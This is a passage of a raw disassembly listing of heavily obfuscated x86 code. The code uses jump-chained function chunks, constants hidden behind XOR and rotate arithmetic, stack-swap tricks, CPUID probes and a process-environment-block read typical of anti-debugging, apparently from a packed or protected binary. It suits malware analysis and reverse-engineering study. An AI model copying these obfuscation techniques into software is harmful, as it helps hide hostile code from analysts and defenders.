; END OF FUNCTION CHUNK	FOR sub_42E961

; =============== S U B	R O U T	I N E =======================================



sub_426A84	proc near		; CODE XREF: wto1jq8f:004270D7j
					; sub_42E64B+AF9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042EBEF SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	esp, ebp
		mov	ebp, offset loc_42DAAE
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_42EBEF
sub_426A84	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426A97	proc near		; CODE XREF: wto1jq8f:0042A04Aj
					; sub_42F360p

; FUNCTION CHUNK AT 0042BE5A SIZE 0000000A BYTES

		mov	[esp+0], esi
		pop	esi
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_42BE5A
sub_426A97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_426AA4:				; CODE XREF: sub_42DB52+Fj
		pop	edx
		xor	edx, 0F36B013Ch
		add	edx, ebp
		add	edx, 3FB30C5Dh
		mov	[edx], eax
		jmp	loc_42DBFE
; END OF FUNCTION CHUNK	FOR sub_42DB52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_426ABA:				; CODE XREF: sub_425944+21CDj
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-8]


loc_426AC1:				; CODE XREF: sub_42F135+9j
		cdq
		add	eax, [esp-8+arg_4]
		adc	edx, [esp-8+arg_8]
		jmp	loc_429A1D
; END OF FUNCTION CHUNK	FOR sub_425944
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426456


loc_426ACF:				; CODE XREF: sub_426456+6j
		jmp	nullsub_10
; END OF FUNCTION CHUNK	FOR sub_426456

; =============== S U B	R O U T	I N E =======================================



sub_426AD4	proc near		; DATA XREF: sub_428D47+3C64o

; FUNCTION CHUNK AT 00428B66 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D784 SIZE 00000005 BYTES

		push	0D1E89798h
		pop	ebx
		xor	ebx, 0D1E8979Fh
		popf
		and	ecx, ebx
		pop	ebx
		mov	eax, 1
		jmp	loc_42D784
sub_426AD4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_426AEE:				; CODE XREF: wto1jq8f:0042EE8Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_426AEF:				; CODE XREF: sub_426E98+7C8Dj
		sbb	esi, 0CA615D9Fh
; END OF FUNCTION CHUNK	FOR sub_426E98
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_426AF5:				; CODE XREF: wto1jq8f:004293F4j
					; sub_42E9E8:loc_4294D2j ...
		jo	loc_42EA6B
		cmp	dword ptr [ebp-4], 1
		jnz	loc_42C73E
		jmp	loc_42F5B8
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_426B0A:				; CODE XREF: sub_426968+223Aj
		jnz	loc_42DF23
		jmp	loc_429792
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
		push	0
		push	esi
		push	0D33017EFh
		pop	esi
		rol	esi, 16h
		add	esi, 40B347Bh
		jmp	loc_426F56
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_426B2D:				; CODE XREF: wto1jq8f:0042B94Dj
		jmp	sub_42CB36
; ---------------------------------------------------------------------------


loc_426B32:				; DATA XREF: wto1jq8f:00428F57o
		push	8D797C12h
		pop	edi
		add	edi, 72C97897h
		xchg	edi, [esp]
		jmp	nullsub_32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_426B46:				; CODE XREF: sub_426E98+A7j
		jnz	loc_42893D
		or	ecx, 6BE60E41h
		jmp	loc_428938
; END OF FUNCTION CHUNK	FOR sub_426E98

; =============== S U B	R O U T	I N E =======================================



sub_426B57	proc near		; DATA XREF: sub_426E98+8Bo
		push	0
		lea	eax, [ebp-20h]
		push	eax
sub_426B57	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_426B5D:				; CODE XREF: sub_4282FE:loc_42B24Dj
		call	sub_42596F
		push	edx
		jmp	loc_42B168
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------


loc_426B68:				; CODE XREF: wto1jq8f:0042EB84j
		jno	nullsub_172
		jb	loc_427CC2
		jmp	sub_427F8F
; ---------------------------------------------------------------------------


loc_426B79:				; DATA XREF: sub_42EECC+9o
		and	eax, 0FFFFFFh
		push	offset sub_4283CC
		jmp	locret_424E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_426B88:				; CODE XREF: sub_42B8FC+1814j
		jz	loc_42739D
		jmp	loc_4291B4
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4259FF


loc_426B93:				; CODE XREF: sub_4259FF:loc_42A545j
		xchg	edi, [esp-14h+arg_10]
		mov	ebp, edi
		pop	edi
		jmp	loc_42435E
; END OF FUNCTION CHUNK	FOR sub_4259FF
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_42BCBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F81B


loc_426BA4:				; CODE XREF: sub_42F81B+Aj
		or	eax, eax
		jnz	loc_42B96B
		call	sub_424585
		mov	edx, 9E849D81h
		call	sub_429165
		push	eax
		jmp	loc_42E2F0
; END OF FUNCTION CHUNK	FOR sub_42F81B
; ---------------------------------------------------------------------------
		push	1705E8B7h
		jmp	loc_42D1A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_426BCB:				; CODE XREF: sub_42E9E8-5148j
		and	edi, edx


loc_426BCD:				; CODE XREF: sub_42E9E8:loc_425EC7j
		push	0
		push	9534B28Eh
		xor	dword ptr [esp+0], 9534B28Eh
		push	10h
		mov	eax, [ebp+8]
		jmp	loc_4284D4
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_426BE5:				; CODE XREF: sub_4262CE+5767j
		call	sub_426C04
		mov	ds:dword_42A73C, eax
		call	sub_42ED32
		mov	edx, 90F68180h
		call	sub_426C04
		mov	ds:dword_42A748, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4262CE

; =============== S U B	R O U T	I N E =======================================



sub_426C04	proc near		; CODE XREF: sub_42CFE2-8FCDp
					; sub_4262CE:loc_426BE5p ...

; FUNCTION CHUNK AT 004247D4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00426E43 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042BE43 SIZE 0000000E BYTES

		push	ebp
		jmp	loc_4247D4
sub_426C04	endp

; ---------------------------------------------------------------------------


loc_426C0A:				; CODE XREF: wto1jq8f:00427017j
		mov	ecx, [edi]

; =============== S U B	R O U T	I N E =======================================



sub_426C0C	proc near		; CODE XREF: sub_426535:loc_42BDAAp

; FUNCTION CHUNK AT 004246F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424CDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424E1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042644C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A67 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042804E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00428179 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428700 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00429C74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A85D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042A95B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AD0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C3F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C49B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042C8FC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C964 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CAD8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D70C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042E294 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E620 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042EAE2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EB35 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042F04D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F0C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F4F4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042F73D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042F8AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FC63 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		cmp	dword ptr [ebp-4], 6
		jnz	loc_42F4F4
		jmp	loc_424E1E
sub_426C0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 0F2B89A19h
		call	sub_429165
		push	eax
		rol	eax, 17h
		jmp	loc_42A4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_426C32:				; CODE XREF: sub_429BFF:loc_42E589j
		mov	eax, [eax]
		add	eax, 4
		push	0EF5C556Bh
		mov	[esp+14h+var_14], eax
		mov	eax, [ebp+8]
		jmp	loc_42EE7F
; ---------------------------------------------------------------------------


loc_426C47:				; CODE XREF: sub_429BFF:loc_42D73Bj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 0
		jmp	loc_42F2E7
; END OF FUNCTION CHUNK	FOR sub_429BFF

; =============== S U B	R O U T	I N E =======================================



sub_426C53	proc near		; CODE XREF: sub_42BE7E+21Aj
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_4242F8
		pop	ecx
		mov	[ebp-20h], eax
sub_426C53	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42B705


loc_426C60:				; CODE XREF: sub_42B705+4j
					; wto1jq8f:0042C089j ...
		mov	eax, [ebp-20h]
		sub	eax, [ebp-28h]
		jmp	loc_4242EE
; END OF FUNCTION CHUNK	FOR sub_42B705
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4267AE


loc_426C6B:				; CODE XREF: sub_4267AE:loc_425A78j
		push	0
		push	79A4466Eh
		xor	[esp+4+var_4], 0B7BA6795h
		xor	[esp+4+var_4], 0CE1E21FBh
		push	10h
		mov	eax, [ebp-8]
		jmp	loc_42B090
; END OF FUNCTION CHUNK	FOR sub_4267AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_426C8A:				; CODE XREF: sub_4260DB:loc_4260F3j
		push	20E5A51Eh
		jmp	loc_42C238
; END OF FUNCTION CHUNK	FOR sub_4260DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_426C94:				; CODE XREF: sub_42506F:loc_42A2EBj
		jz	loc_42FCAC
		jmp	loc_42DFE0
; END OF FUNCTION CHUNK	FOR sub_42506F

; =============== S U B	R O U T	I N E =======================================



sub_426C9F	proc near		; DATA XREF: wto1jq8f:00429D19o

; FUNCTION CHUNK AT 004264EF SIZE 00000005 BYTES

		push	8CE5CBDAh
		pop	ebx
		add	ebx, 735D24CEh
		mov	[ebx], eax
		pop	ebx
		jmp	loc_4264EF
sub_426C9F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_426CB3:				; CODE XREF: sub_4262CE:loc_42AE10j
		shl	ebp, 12h
		rol	esi, 16h
		jmp	sub_42C1EE
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------

locret_426CBE:				; CODE XREF: wto1jq8f:loc_42E08Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291B9


loc_426CBF:				; CODE XREF: sub_4291B9+7j
		mov	eax, ds:dword_42D604
		or	eax, eax
		jnz	loc_427A74
		jmp	loc_42DA64
; END OF FUNCTION CHUNK	FOR sub_4291B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB49


loc_426CD2:				; CODE XREF: sub_42CB49-7B2Fj
		and	edx, edi


loc_426CD4:				; CODE XREF: sub_42CB49:loc_4284E1j
		mov	edi, eax
		mov	eax, 80000001h
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		jmp	loc_426EDD
; END OF FUNCTION CHUNK	FOR sub_42CB49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428136


loc_426CEB:				; CODE XREF: sub_428136:loc_42B1D8j
		push	5F5E1793h
		pop	edi
		sub	edi, 839C8667h


loc_426CF7:				; CODE XREF: wto1jq8f:loc_42AD69j
		add	edi, 24810458h
		jmp	loc_427DEE
; END OF FUNCTION CHUNK	FOR sub_428136
; ---------------------------------------------------------------------------
		mov	edx, 0F78D9DBDh
		call	sub_429165
		push	28E58954h
		mov	[esp], eax
		rol	eax, 1Bh
		push	esi
		call	sub_42F575

locret_426D1D:				; CODE XREF: wto1jq8f:loc_424CD8j
		retn
; ---------------------------------------------------------------------------
		jz	loc_42CA83
		jmp	loc_42DE64
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	eax, edx
		jmp	sub_4282A6

; =============== S U B	R O U T	I N E =======================================



sub_426D31	proc near		; CODE XREF: sub_42E350-2F69p
					; wto1jq8f:0042CC97j

; FUNCTION CHUNK AT 0042E322 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx


loc_426D35:				; CODE XREF: wto1jq8f:loc_42A48Bj
		call	sub_424585
		mov	edx, 0CE3062ECh
		push	offset sub_42C88D
		jmp	loc_42E322
sub_426D31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_426D49:				; CODE XREF: wto1jq8f:00426E78j
		or	edx, 0B31F3526h

; =============== S U B	R O U T	I N E =======================================



sub_426D4F	proc near		; CODE XREF: sub_426535:loc_4263A7p

; FUNCTION CHUNK AT 00429550 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AECA SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042B00D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B970 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BC5B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042C590 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E8AA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042EDA3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FC68 SIZE 0000000A BYTES

		xchg	edx, [esp+0]


loc_426D52:				; CODE XREF: wto1jq8f:004245F4j
		pop	edx
		mov	eax, ds:dword_42E520
		or	eax, eax
		jnz	loc_42FC68
		jmp	loc_429550
sub_426D4F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F5E5


loc_426D66:				; CODE XREF: sub_42F5E5+10j
		xor	ecx, ebp


loc_426D68:				; CODE XREF: sub_4272F3:loc_42980Bj
		mov	eax, 60h
		call	sub_428183
		jmp	loc_42AC03
; END OF FUNCTION CHUNK	FOR sub_42F5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_426D77:				; CODE XREF: sub_4272F3+3F3Dj
		jns	loc_42A15B
		mov	eax, large fs:30h
		jmp	loc_42AF73
; END OF FUNCTION CHUNK	FOR sub_4272F3
; ---------------------------------------------------------------------------


loc_426D89:				; CODE XREF: wto1jq8f:0042B43Cj
		push	eax
		call	sub_429B39
; START	OF FUNCTION CHUNK FOR sub_425BB4


loc_426D8F:				; CODE XREF: sub_425BB4+19j
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_425BB4
; ---------------------------------------------------------------------------


loc_426D94:				; CODE XREF: wto1jq8f:00424CA4j
		jmp	loc_42BE16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_426D99:				; CODE XREF: sub_42F25F-4EA8j
		jge	loc_428613
		test	ebp, eax
		jmp	loc_42D6C4
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_426DA6:				; CODE XREF: sub_429BFF+1649j
		jp	loc_42D8D3


loc_426DAC:				; CODE XREF: sub_429BFF:loc_428918j
		call	sub_42ED32
		jmp	loc_425F21
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------


loc_426DB6:				; CODE XREF: wto1jq8f:loc_42B584j
		cmp	byte ptr [ebp-5], 0
		jnz	loc_42EF2E
		jmp	loc_424EA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_426DC5:				; CODE XREF: sub_426968+176Ej
		shr	eax, 1


loc_426DC7:				; CODE XREF: sub_426968:loc_4280CCj
		push	offset sub_42B019
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FE4C


loc_426DD1:				; CODE XREF: sub_42FE4C:loc_42592Ej
		pop	edx
		mov	eax, ds:dword_42905C
		or	eax, eax
		jnz	loc_4280B2


loc_426DE0:				; CODE XREF: wto1jq8f:00428C2Fj
		call	sub_42D882
; END OF FUNCTION CHUNK	FOR sub_42FE4C
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_426DE5:				; CODE XREF: sub_4260DB-37Fj
		jmp	loc_42D54B
; END OF FUNCTION CHUNK	FOR sub_4260DB
; ---------------------------------------------------------------------------


loc_426DEA:				; DATA XREF: sub_42B0AE+10o
		xchg	eax, [esp]
		retn
; ---------------------------------------------------------------------------


loc_426DEE:				; DATA XREF: sub_42B0AE+Bo
		xor	eax, 99705E4Ch
		rol	eax, 1Fh
		call	sub_42A88D
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_426DFC:				; CODE XREF: sub_4282FE+5228j
		jmp	loc_427074
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428BA9


loc_426E01:				; CODE XREF: sub_428BA9+16j
		jmp	loc_42D589
; END OF FUNCTION CHUNK	FOR sub_428BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_426E06:				; CODE XREF: sub_42A6CD-324Aj
		jmp	loc_42E7E4
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_426E0B:				; CODE XREF: sub_426E98+7Dj
		jmp	loc_427C26
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42727F


loc_426E10:				; CODE XREF: sub_42727F+6908j
		ror	eax, 5
		shl	eax, 0Dh
		rol	edx, 3
		mov	ecx, [edi]


loc_426E1B:				; CODE XREF: sub_42727F:loc_42DB7Bj
		call	sub_4292B9


loc_426E20:				; CODE XREF: sub_42AEA4-1381j
		jmp	sub_42DFE5
; END OF FUNCTION CHUNK	FOR sub_42727F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBC7


loc_426E25:				; CODE XREF: sub_42FBC7+8j
		jg	loc_4265BA
		jmp	loc_42E222
; END OF FUNCTION CHUNK	FOR sub_42FBC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A467


loc_426E30:				; CODE XREF: sub_42A467-49F5j
		and	ecx, esi
		xchg	ecx, [edx]
		rol	ebx, 1Ah
		jmp	loc_4247A0
; END OF FUNCTION CHUNK	FOR sub_42A467
; ---------------------------------------------------------------------------
		xor	esi, edx
		jmp	loc_4259F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C04


loc_426E43:				; CODE XREF: sub_426C04-241Dj
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4278D6
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		jmp	loc_42BE43
; END OF FUNCTION CHUNK	FOR sub_426C04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_426E5D:				; CODE XREF: sub_42EFB5:loc_42B83Bj
		xchg	edx, [esp+4+var_4]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42EFB5

; =============== S U B	R O U T	I N E =======================================



sub_426E65	proc near		; CODE XREF: wto1jq8f:004246AFj
					; sub_42506F+4F7Ap
		mov	[esp+0], esi
		pop	esi
		cpuid
		add	[esi], eax
		push	offset loc_42DDBC
		jmp	nullsub_11
sub_426E65	endp

; ---------------------------------------------------------------------------
		pushf
		jmp	loc_426D49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EAED


loc_426E7D:				; CODE XREF: sub_42EAED:loc_42CA38j
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42EAED
; ---------------------------------------------------------------------------


loc_426E84:				; CODE XREF: wto1jq8f:0042E62Fj
		jmp	loc_42752D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB63


loc_426E89:				; CODE XREF: sub_42CB63+12j
		jmp	loc_4262A6
; END OF FUNCTION CHUNK	FOR sub_42CB63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_426E8E:				; CODE XREF: sub_42D9D9-7034j
		jmp	loc_42491F
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A197


loc_426E93:				; CODE XREF: sub_42A197-56D4j
		jmp	loc_426956
; END OF FUNCTION CHUNK	FOR sub_42A197

; =============== S U B	R O U T	I N E =======================================



sub_426E98	proc near		; CODE XREF: sub_424BD4:loc_4248F2p
					; sub_42621A+5E9Cp ...

var_38		= dword	ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424112 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004246F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424733 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425F1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004261BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426AEF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426B46 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426E0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004274E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427A0C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427C26 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00428436 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00428938 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004289F4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00428B13 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042937A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004294AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429768 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429B33 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00429C4F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00429D75 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00429F49 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042B1CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B215 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B543 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042B65D SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0042B9A8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B9BF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042BA5E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042BAAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C3E5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042CAF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CDCA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D047 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042D96F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DFA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DFC3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E09A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042E5DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E696 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E878 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042EA2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EB23 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042EC39 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042EF03 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F536 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FAFC SIZE 00000018 BYTES

		js	sub_424351
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_426FC5
; ---------------------------------------------------------------------------


loc_426EA9:				; CODE XREF: sub_42B31F-5558p
					; wto1jq8f:00428467j
		xchg	ebx, [esp+18h+var_18]
		pop	ebx
		xchg	edx, [esp+14h+var_14]
		push	0
		push	0
		push	704043B1h
		pop	eax
		jmp	loc_42937A
; ---------------------------------------------------------------------------


loc_426EBF:				; DATA XREF: sub_42E9E8:loc_42C883o
		ror	eax, 14h
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_426EC4:				; CODE XREF: sub_42D44C-93A3j
		jmp	loc_42B65D
; ---------------------------------------------------------------------------


loc_426EC9:				; CODE XREF: sub_42D343-8A6j
		push	ecx
		mov	[esp+24h+var_24], ebp
		mov	ebp, esp
		jmp	loc_42E5DC
; ---------------------------------------------------------------------------


loc_426ED4:				; CODE XREF: sub_424ADA:loc_428081j
					; sub_424ADA+9307j
		lea	eax, [ebp-24h]
		call	sub_426719

locret_426EDC:				; CODE XREF: sub_42C2D2+18j
		retn
; ---------------------------------------------------------------------------


loc_426EDD:				; CODE XREF: sub_42CB49-5E63j
		jmp	loc_42D047
; ---------------------------------------------------------------------------


loc_426EE2:				; DATA XREF: sub_424BF9+3F97o
		call	sub_42D765
		retn
; ---------------------------------------------------------------------------


loc_426EE8:				; CODE XREF: sub_429017+5j
		jmp	nullsub_12
; ---------------------------------------------------------------------------

locret_426EED:				; CODE XREF: sub_42E5B2+Aj
		retn
; ---------------------------------------------------------------------------


loc_426EEE:				; CODE XREF: sub_429E77-4DC8j
		call	sub_42C423


loc_426EF3:				; CODE XREF: sub_42E808+Dj
		add	eax, 47B8E398h
		xchg	eax, [esp+24h+var_24]
		jmp	loc_4294AF
; ---------------------------------------------------------------------------


loc_426F01:				; CODE XREF: sub_426E98+8071j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_42E0A8


loc_426F10:				; CODE XREF: wto1jq8f:loc_42C043j
		call	sub_42B5E4
		jmp	loc_426E0B
; ---------------------------------------------------------------------------


loc_426F1A:				; CODE XREF: sub_429D4E+22j
		lea	eax, [ebp-14h]
		mov	dword ptr [eax], 737361h
		push	offset sub_426B57
		jmp	loc_42E696
; ---------------------------------------------------------------------------


loc_426F2D:				; CODE XREF: sub_427106:loc_428D22j
		push	0D19D6E9Fh
		pop	edx
		or	edx, 2A3A4EFh
		test	edx, 40h
		jmp	loc_426B46
; ---------------------------------------------------------------------------
		pop	ecx
		test	esi, eax
		jmp	loc_429B33
; ---------------------------------------------------------------------------


loc_426F4C:				; CODE XREF: sub_424556+Ej
		push	offset sub_427752
		jmp	nullsub_13
; ---------------------------------------------------------------------------


loc_426F56:				; CODE XREF: wto1jq8f:00426B27j
		xchg	esi, [esp+28h+var_28]
		push	3
		push	5CE2518Fh
		mov	[esp+0], ecx
		push	0C36E7AE9h
		pop	ecx
		rol	ecx, 1
		xor	ecx, 86DCF5D3h
		jmp	loc_42D96F
; ---------------------------------------------------------------------------


loc_426F76:				; CODE XREF: sub_427D82:loc_42EC34j
		jz	loc_429C55
		jmp	loc_42CDCA
; ---------------------------------------------------------------------------


loc_426F81:				; CODE XREF: wto1jq8f:0042B050j
					; wto1jq8f:loc_42D963j
		push	0
		push	4
		push	0DE33213Eh
		pop	eax
		xor	eax, 4E00DDE4h
		jmp	loc_425F1C
; ---------------------------------------------------------------------------


loc_426F96:				; CODE XREF: wto1jq8f:0042914Bj
